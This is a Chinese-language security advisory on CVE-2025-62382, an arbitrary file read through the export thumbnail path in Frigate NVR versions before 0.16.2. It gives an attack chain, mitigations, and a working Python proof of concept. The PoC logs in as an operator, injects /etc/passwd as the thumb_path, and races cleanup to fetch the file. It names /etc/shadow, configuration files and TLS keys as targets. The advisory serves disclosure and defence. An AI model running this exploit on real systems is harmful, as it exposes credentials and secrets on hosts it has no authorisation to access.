IPBUF安全漏洞报告
English
CVE-2025-62382 CVSS 7.7 高危

CVE-2025-62382:Frigate NVR导出功能任意文件读取漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-62382
漏洞类型
任意文件读取/信息泄露
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Frigate(网络视频录像机NVR)

相关标签

CVE-2025-62382FrigateNVR任意文件读取信息泄露路径遍历权限提升高危漏洞网络安全摄像头GitHub Advisory

漏洞概述

Frigate是一款开源的网络视频录像机(NVR),支持IP摄像头的实时本地目标检测功能。在0.16.2版本之前,Frigate的导出工作流程存在严重的安全缺陷。经过身份验证的操作员(operator)可以将任意文件系统路径指定为视频导出的缩略图源。由于该路径会被原样复制到公开服务的clips目录中,攻击者可以利用此功能读取运行Frigate的主机上的任意文件。

该漏洞违反了导出子系统的最小权限原则,将一个便利功能转变为直接的敏感信息泄露通道。在实际场景中,拥有API访问权限的低权限用户可以从查看摄像头录像升级为窃取设备上的敏感配置文件、密钥或用户数据。漏洞利用依赖于一个短暂的竞态窗口期——后台导出器在清理程序运行之前将所选文件复制到目标位置。

该漏洞的CVSS 3.1评分为7.7分,属于高危级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),所需权限为低权限(PR:L),无需用户交互(UI:N),对机密性影响为高(C:H),对完整性和可用性无影响。漏洞已在Frigate 0.16.2版本中修复,建议所有用户尽快升级。

技术细节

Frigate的导出功能允许操作员为视频导出指定缩略图源路径。在0.16.2之前的版本中,该功能未对用户提供的文件路径进行充分的验证和限制。

漏洞的核心原理如下:
1. Frigate导出工作流接受用户输入的缩略图源文件路径参数;
2. 后台导出器进程将该路径对应的文件复制到Frigate对外提供服务的clips目录中;
3. 由于复制后的文件位于公开可访问的目录中,攻击者可以通过HTTP请求直接访问该文件;
4. 由于路径验证缺失,攻击者可以将任意主机文件路径(如/etc/passwd、配置文件、密钥文件等)作为缩略图源。

利用条件:
- 攻击者需要拥有Frigate的有效操作员账户凭据(低权限);
- 攻击者通过API调用导出功能,指定目标文件路径;
- 在后台导出器完成文件复制但清理程序尚未运行的时间窗口内,攻击者通过公开URL访问复制后的文件;
- 整个攻击过程无需用户交互,可通过网络远程执行。

修复方案(commit d7f7cd7):在0.16.2版本中,开发者在导出流程中添加了路径验证机制,确保缩略图源路径只能指向合法的、预期的文件位置,防止任意文件路径的注入。

攻击链分析

STEP 1
步骤1:获取凭证
攻击者获取Frigate系统的有效操作员账户凭据(低权限账户),通过合法登录或凭证填充等方式获得API访问令牌。
STEP 2
步骤2:构造恶意导出请求
攻击者通过Frigate API调用导出功能,在请求中将缩略图源路径(thumb_path)设置为目标主机上的敏感文件路径,如/etc/passwd或配置文件路径。
STEP 3
步骤3:触发文件复制
Frigate后台导出器进程接收请求后,将攻击者指定的任意文件复制到公开服务的clips目录中,由于缺乏路径验证,该操作被允许执行。
STEP 4
步骤4:竞态窗口利用
在文件已被复制到公开目录但清理程序尚未运行的短暂时间窗口内,攻击者通过公开可访问的URL路径访问复制后的文件内容。
STEP 5
步骤5:敏感信息窃取
攻击者成功读取主机上的任意文件,包括配置文件、密钥、用户数据等敏感信息,实现从低权限到敏感数据泄露的权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62382 - Frigate Arbitrary File Read via Export Workflow # Exploits the lack of path validation in Frigate's export thumbnail feature # Requires: authenticated operator credentials (low privilege) import requests import time # Configuration FRIGATE_URL = "http://target-frigate-instance:5000" USERNAME = "operator" PASSWORD = "operator_password" # Step 1: Authenticate to obtain session/token session = requests.Session() login_resp = session.post( f"{FRIGATE_URL}/api/login", json={"user": USERNAME, "password": PASSWORD} ) token = login_resp.json().get("token") headers = {"Authorization": f"Bearer {token}"} # Step 2: Trigger export with arbitrary file path as thumbnail source # The vulnerable parameter accepts arbitrary filesystem paths target_file = "/etc/passwd" # Any file readable by the Frigate process export_payload = { "name": "legitimate_export", "thumb_path": target_file, # Path injected without validation (pre-0.16.2) "playback": "preview" } # Initiate the export job export_resp = session.post( f"{FRIGATE_URL}/api/export", json=export_payload, headers=headers ) export_id = export_resp.json().get("id") print(f"Export job created: {export_id}") # Step 3: Race window - access the copied file before cleanup runs # The file is copied to the publicly served clips directory time.sleep(0.5) # Brief delay to allow file copy # Step 4: Retrieve the exfiltrated file via public URL clip_url = f"{FRIGATE_URL}/clips/{export_id}/thumb.jpg" file_content = session.get(clip_url, headers=headers) print(f"Exfiltrated content of {target_file}:") print(file_content.text) # Sensitive targets could include: # - /etc/shadow, /etc/passwd # - /config/config.yml (Frigate configuration with credentials) # - Environment variables / secrets files # - TLS private keys

影响范围

Frigate < 0.16.2

防御指南

临时缓解措施
在无法立即升级到0.16.2版本的情况下,建议采取以下临时缓解措施:1)限制操作员账户的导出功能权限,仅允许可信管理员使用;2)在网络层面限制Frigate API的访问范围,仅允许可信IP地址访问;3)通过反向代理添加路径过滤规则,阻止对非预期文件的访问;4)监控导出API的调用日志,及时发现异常的thumb_path参数;5)将敏感配置文件设置为Frigate进程用户不可读取的权限,降低被窃取的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表